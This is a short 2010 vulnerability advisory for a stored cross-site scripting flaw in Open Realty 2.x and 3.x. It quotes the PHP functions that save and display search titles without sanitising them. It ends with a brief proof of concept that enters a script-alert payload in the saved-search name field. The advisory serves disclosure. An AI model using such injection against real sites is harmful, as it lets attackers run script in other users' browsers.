# Title: persistence XSS flaw in Open Realty 2.x and 3.x
# Author: K053 <K053.dev0te3 at gmail>
# Date: 2010-7-24
# Hompage: http://open-realty.org
# Download Link: http://www.open-realty.org/download.html
# Version: 3.x & 2.x < seems all version >
======================================================================================================
Detail :
========
function save_search(){
...
...
// $title contain user supplied serach result name which save in DB without any input validation
if ($num_columns == 0) {
$sql = "INSERT INTO " . $config['table_prefix'] . "usersavedsearches
(userdb_id, usersavedsearches_title, usersavedsearches_query_string,
usersavedsearches_last_viewed,usersavedsearches_new_listings,usersavedsearches_notify)
VALUES ($userID, $title, $query,now(),0, $notify)";
...
...
}
function view_saved_searches()
{
...
...
else {
while (!$recordSet->EOF) {
$title = $misc->make_db_unsafe($recordSet->fields['usersavedsearches_title']);
if ($title == '') {
$title = $lang['saved_search'];
}
$display .= '<a href="index.php?action=searchresults&' . $misc->make_db_unsafe
($recordSet->fields['usersavedsearches_query_string']) . '">' . $title . '</a>
<div class="note"><a href="index.php?action=delete_search&
searchID=' . $misc->make_db_unsafe($recordSet->fields['usersavedsearches_id']) . '"
onclick="return confirmDelete()">' . $lang['delete_search'] . '</a></div><br /><br />';
$recordSet->MoveNext();
}
}
}else {
$display = $status;
}
// and no output validation, $display passed immediately
return $display;
======================================================================================================
POC :
=====
load http://address/index.php?action=save_search < note some parameter set by passed url >
in textbox enter <script>alert(0)</scritp>.
load http://address/index.php?action=view_saved_searches to view result
______________________________________________________________________________________________________
~Blackout Frenzy [http://b0f.ir]
